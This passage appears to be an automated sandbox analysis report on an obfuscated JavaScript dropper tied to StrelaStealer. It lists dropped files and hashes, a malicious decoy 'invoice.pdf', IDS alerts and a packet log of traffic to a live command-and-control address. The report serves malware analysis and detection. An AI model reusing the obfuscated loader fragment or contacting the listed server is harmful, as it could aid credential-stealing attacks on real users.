MD5:	4CBAE97747FC52A62FAC273023D38D8D
SHA1:	B1B99CEE6F2B48AE7AEAD78A539F22259E7E7D7F
SHA-256:	1515354A521AA7B8D8F294E64D5D2EC03A3D61B24EC95E63FC1F3DA009E5CB1B
SHA-512:	3870E4686D0DE6611869BC9DED7EA7589D6E89A686C5C7AAC38F20508AF2F470A3607162A8A1507244C3271E9F3F78B80F3CD524EE8618470D537FB199F320A2
Malicious:	false
Preview:	SessionID=dd7f41b6-7df8-4ea7-927b-cfa871af9adf.1736552385635 Timestamp=2025-01-10T18:39:45:635-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dd7f41b6-7df8-4ea7-927b-cfa871af9adf.1736552385635 Timestamp=2025-01-10T18:39:45:636-0500 ThreadID=7612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dd7f41b6-7df8-4ea7-927b-cfa871af9adf.1736552385635 Timestamp=2025-01-10T18:39:45:636-0500 ThreadID=7612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dd7f41b6-7df8-4ea7-927b-cfa871af9adf.1736552385635 Timestamp=2025-01-10T18:39:45:637-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dd7f41b6-7df8-4ea7-927b-cfa871af9adf.1736552385635 Timestamp=2025-01-10T18:39:45:637-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397040128927197
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rL:ww
MD5:	12E74F1540A0C7BFC76E2A75F360DD47
SHA1:	00DCA1BB1FD99795473D2F0F30DCD199E7691D40
SHA-256:	C66FFC25EB6C981E2BB62705B2693215BE166823C2FDD3E6F057BCD8705C8865
SHA-512:	DE8F1CE8283A05F3600FC164DA12ABB23B48C58BAE7F543DF29F9E84D6020D70BCB597C5277BD08B852ACBD873C2D49D5DEF833566B9A18C4A2C4819B3134CD5
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3c91172b-0f9b-4fe2-80be-e4024ef59b72.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+fBYCERXTJJl:O3Pjegf121YS8lkipdjMMNB1DofjEGJH
MD5:	BAEB02CA18ECB74EF8E03548852D207E
SHA1:	938A6EC3EDE559AC243A95F30E8AB9FC7B0FCCFF
SHA-256:	6600D8F4A7E866FBB4A67A02983976662050AF139C88C978748CC221E899E92D
SHA-512:	1E7BE870ED21E20E9DA74C71B57C2BC6A41AB0039DD45DB76115157C1F97D6DE581DBBBA25B9FF3D55E3A164498A9E92A609B1F11586BEDFE9EF150BD607E8CC
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4cdbe8e3-08be-4e36-91c2-5ce54356d4c7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8a4fa012-443b-4f76-bbaa-e2a0bb226172.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cdfac44a-c622-4953-a132-ca467d9dffeb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6qWL07okZwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:ZWLxkZwZGBGZn3mlind9i4ufFXpAXkru
MD5:	51AC3B643206869A3BC2D7773E844594
SHA1:	2532A2A861B72BF4F0A9058F4987E0BDF5AD6DD6
SHA-256:	EECF83174ADA78E8888D44AAC7C9E195F1943B215E47507876C8FFD6A77A84D9
SHA-512:	2A64F8AB11281F6342B3A37135BF9BE7CF1D2E5A7EA751D92C952293B76DAA28526E237D06E22DF0D7FF6773AD5735A05EF6722558AB7583327CC031142EA724
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18114), with CRLF line terminators
Entropy (8bit):	4.895779686987955
TrID:
File name:	21534160892486631756.js
File size:	21'531 bytes
MD5:	eb57f937c555b8a11716b6a86634079b
SHA1:	3794add47e3e46ce175a7d4a8516bce598b9853f
SHA256:	c5b5a10813862cd93c05899734e4bc378d1ec28bdf79b0927ed9ff37f005c054
SHA512:	a2017c871bfebfdabf8cabb57025f5909a7c55396249fb47643d2c245ede77bc2d59f79933ef98aa00ad02e94507d93ec68a0dbe6450cdfe67e26cf0368bc651
SSDEEP:	384:bqDkNWnjurIufc1d06DkNGM9hrZjBKVLpQuQ9fTNFVLnzcbJWd+uoNyX2FzMBaJs:bqDkNWjurIufc1d06DkNGM9hrZlKVLap
TLSH:	DCA277CF688086AAC6DC497C15A144BD5BACD38CE3184C499843E27A4F637E5B6F3277
File Content Preview:	function bjulgb(){gatvnide=[1031,3079,5127,4103,2055,3072];var kcvhtdxq=this[peqdn+gppeit+hioiat+lodmwn+edxqeny+lxxecjf+efwsymb+pbunzn](this[fhejf+pigmfte+qtnnoj+hioiat+puydwskhn+peqdn+pbunzn][elutdj+hioiat+edxqeny+gppeit+pbunzn+edxqeny+kkltm+hgxmqcml+nlr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:39:39.479411+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T00:39:39.479411+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T00:39:42.848189+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:39:38.659040928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:38.665816069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:38.665918112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:38.668929100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:38.675144911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479348898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479365110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479376078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479410887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.479418039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479429960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479439974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479451895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479464054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479479074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479485989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.479490995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.479513884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.479531050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.484431982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.484443903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.484457016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.484488964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.535693884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.542608976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.542620897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.542714119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.600049973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600063086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600074053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600085020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600161076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.600208044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.600291014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600303888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600322008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600330114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.600332975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600346088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.600383997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.601106882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601126909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601138115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601154089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.601164103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601176977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601182938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.601216078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.601821899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601843119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601855040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601882935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.601890087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601902008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.601932049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.602705956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.602746964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.606677055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.606688976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.606700897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.606754065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.629302025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.629436970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.712728024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.712742090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.712753057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.712871075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.720710993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720722914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720733881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720745087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720755100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720767021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720779896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.720805883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.720844984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.721084118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721100092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721117020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721131086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721143007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721165895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.721204996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.721715927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721728086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721739054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721750021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721762896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721765041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.721775055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721787930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.721790075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.721827984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.722589970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722601891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722611904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722623110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722635984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722645998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.722650051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722665071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.722671986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.722700119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.723496914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723507881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723515034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723526001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723536015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723546028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723561049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.723570108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.723618984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.724461079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724473000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724483967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724498034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724512100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724524021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.724524975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724539042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.724550009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.724570036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.725313902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.725327015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.725337982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.725349903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.725364923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.725404978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.746373892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.799494028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833272934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833287954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833297968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833437920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833455086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833467960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:39.833590031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:39.833590031 CET	49730	80	192.168.2.4	193.143.1.205
